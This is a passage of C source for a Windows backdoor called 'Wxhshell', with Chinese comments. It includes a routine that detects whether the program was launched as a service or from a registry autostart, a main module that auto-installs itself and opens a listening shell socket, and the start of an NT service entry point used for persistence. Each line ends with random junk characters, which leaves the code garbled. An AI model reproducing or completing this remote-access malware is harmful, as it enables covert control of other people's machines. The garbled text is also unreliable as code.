ULONG UniqueProcessId; 7}<Sg
ULONG InheritedFromUniqueProcessId; 'oC$6l'rQ
} PROCESS_BASIC_INFORMATION; 8]My
k>
dKU5;
PROCNTQSIP NtQueryInformationProcess; cICHRp&&
S\B5&W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +``>,O6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d2ohW|
&c20x+
HANDLE hProcess; "\`>2
PROCESS_BASIC_INFORMATION pbi; LL{t5(- _
xC)7eQn/R
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9U]pH%.9
if(NULL == hInst ) return 0; 7.%f01/i
-<O JqB
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )j\r,9<K+5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9#u }^t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {U(Bfe^a,
BApa^j\?
if (!NtQueryInformationProcess) return 0; ]X*YAPv
9^oo-,Su_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GL/ KB
if(!hProcess) return 0; /a%*u6z@
9QX4R<"wUg
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l#Yx
TY
2.]~*7
CloseHandle(hProcess); 6!Qknk$
YQ52~M0L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o1U}/y+R\
if(hProcess==NULL) return 0; ?F1wh2oq
"s% 686Vz
HMODULE hMod; BjYOfu'~z
char procName[255]; H;qJH1EdD
unsigned long cbNeeded; )+?HI^-[S
0"TgLd
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y7-*2"!
4*iHw+%mq
CloseHandle(hProcess); 6?O}Q7G
L4~
W/6A
if(strstr(procName,"services")) return 1; // 以服务启动 $cq!RgRn
7iP5T
return 0; // 注册表启动 }0Y`|H\v
} NJ<N %hcjK
`y'aH
'EEd
// 主模块 ):S!Nl
int StartWxhshell(LPSTR lpCmdLine) 2pz4rc
{ MZ)T0|S_
SOCKET wsl; AhR0zg
BOOL val=TRUE; ~,T+JX
int port=0; F% }7cm2
struct sockaddr_in door; \Y9I~8\gB
vuZf#\zh}
if(wscfg.ws_autoins) Install(); Y hS{$Z
mzu<C)9d,
port=atoi(lpCmdLine); z<t>hzl7
<E SvvTf
if(port<=0) port=wscfg.ws_port; U3/8A:$y
0F1u W>D1
WSADATA data; 0#<WOns1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uNy!<u
9T$u+GX'
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V#NtBreN
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ER_ 3'
door.sin_family = AF_INET; b )Tl*
door.sin_addr.s_addr = inet_addr("127.0.0.1"); VxkEe z'|
door.sin_port = htons(port); |e:rYLxm:
ly[lrD0Kn.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a/b92*&k
closesocket(wsl); hl**zF
return 1; 5\&]J7(
} Uh}+"h5
nW11wtiO.
if(listen(wsl,2) == INVALID_SOCKET) { T RDxT
closesocket(wsl); 3 tF:
return 1; vnL?O8`c
} L$SMfx
Wxhshell(wsl); T!(sZf
WSACleanup(); TywK\hH
.D!WO
return 0; w]}f6VlEl
^(DL+r,
} J
B(<.E2
k&!6fZ)
// 以NT服务方式启动 $7Cgo &J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
{U^j&E
{ <W2ZoqaV
DWORD status = 0; xdqK.Z%
DWORD specificError = 0xfffffff; fQO
""qh
U:\p$ hL9
serviceStatus.dwServiceType = SERVICE_WIN32; BtzYA"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F*,5\s<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mVt3WZa
serviceStatus.dwWin32ExitCode = 0; %7 /,m
serviceStatus.dwServiceSpecificExitCode = 0; ]=|P<F
serviceStatus.dwCheckPoint = 0; [8TS"ph>
serviceStatus.dwWaitHint = 0; <